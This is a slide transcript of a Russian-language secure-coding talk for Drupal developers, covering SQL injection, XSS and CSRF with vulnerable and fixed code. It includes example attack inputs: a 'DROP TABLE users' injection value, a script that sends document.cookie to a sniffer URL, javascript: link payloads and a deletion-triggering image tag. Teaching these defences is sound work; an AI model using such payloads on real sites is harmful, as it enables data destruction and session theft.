Безопасный код
-
Upload
drupal-camp-kyiv -
Category
Technology
-
view
1.439 -
download
4
Transcript of Безопасный код
![Page 2: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/2.jpg)
SQL инъекция
$result = db_query('SELECT *FROM usersWHERE id = '" + $userID + "';‘);
![Page 3: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/3.jpg)
$userID = "5;DROP TABLE users";
![Page 4: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/4.jpg)
$result = db_query('SELECT *FROM usersWHERE id = 5;DROP TABLE users;');
![Page 5: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/5.jpg)
Неправильно
$result = db_query('SELECT *FROM usersWHERE id = '" + $userID + "';‘);
![Page 6: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/6.jpg)
Правильно
$result = db_query('SELECT *FROM usersWHERE id = %d‘, $userID);
![Page 7: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/7.jpg)
Cross-site scripting (XSS)
Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт.
![Page 8: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/8.jpg)
Как крадутся cookie
<script>document.write( ‘<img src=“http://site.com/sniff.php?c=‘ +
document.cookie + ’/>’);</script>
![Page 9: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/9.jpg)
Уязвимость в реальной жизни
$output = ‘<a href=“’. $url .’”>’. $title .’</a>’;
![Page 10: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/10.jpg)
$title = “</a><script>alert(document.cookie)</script><a>”;
![Page 11: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/11.jpg)
<a href=“…”></a><script>alert(document.cookie)</script>
<a></a>
![Page 12: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/12.jpg)
$url = “javascript:alert(document.cookie)”;
![Page 13: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/13.jpg)
<a href=“javascript:alert(document.cookie)”>…</a>
![Page 14: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/14.jpg)
Неправильно
$output = ‘<a href=“’. $url .’”>’. $title .’</a>’;
![Page 15: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/15.jpg)
Правильно
$output = ‘<a href=“’. check_url($url) .’”>’.
check_plain($title) .’</a>’;
![Page 16: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/16.jpg)
Еще лучше
$output = l($title, $url);
![Page 17: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/17.jpg)
Фильтрация ввода — лечение от XSS
• check_plain()• check_markup()• ckeck_url()• t()• filter_xss_admin()
![Page 18: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/18.jpg)
Подделка межсайтовых запросов (CSRF)
<a href=“http://site.com/fast_delete_node”>Быстро удалить документ</a>
![Page 19: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/19.jpg)
А что если?
<img src=“http://site.com/fast_delete_node”/>
![Page 20: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/20.jpg)
Лечение CSRF
Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов.
![Page 21: Безопасный код](https://reader035.fdocuments.in/reader035/viewer/2022062312/5560c70ad8b42a19088b473f/html5/thumbnails/21.jpg)
Спасибо за внимание!
Контакты:Александр Швец[email protected]
Ссылки:http://drupaldance.com/lessons/secure-code-user-inputhttp://drupaldance.com/lessons/secure-code-database-layerhttp://drupaldance.com/lessons/secure-code-csrf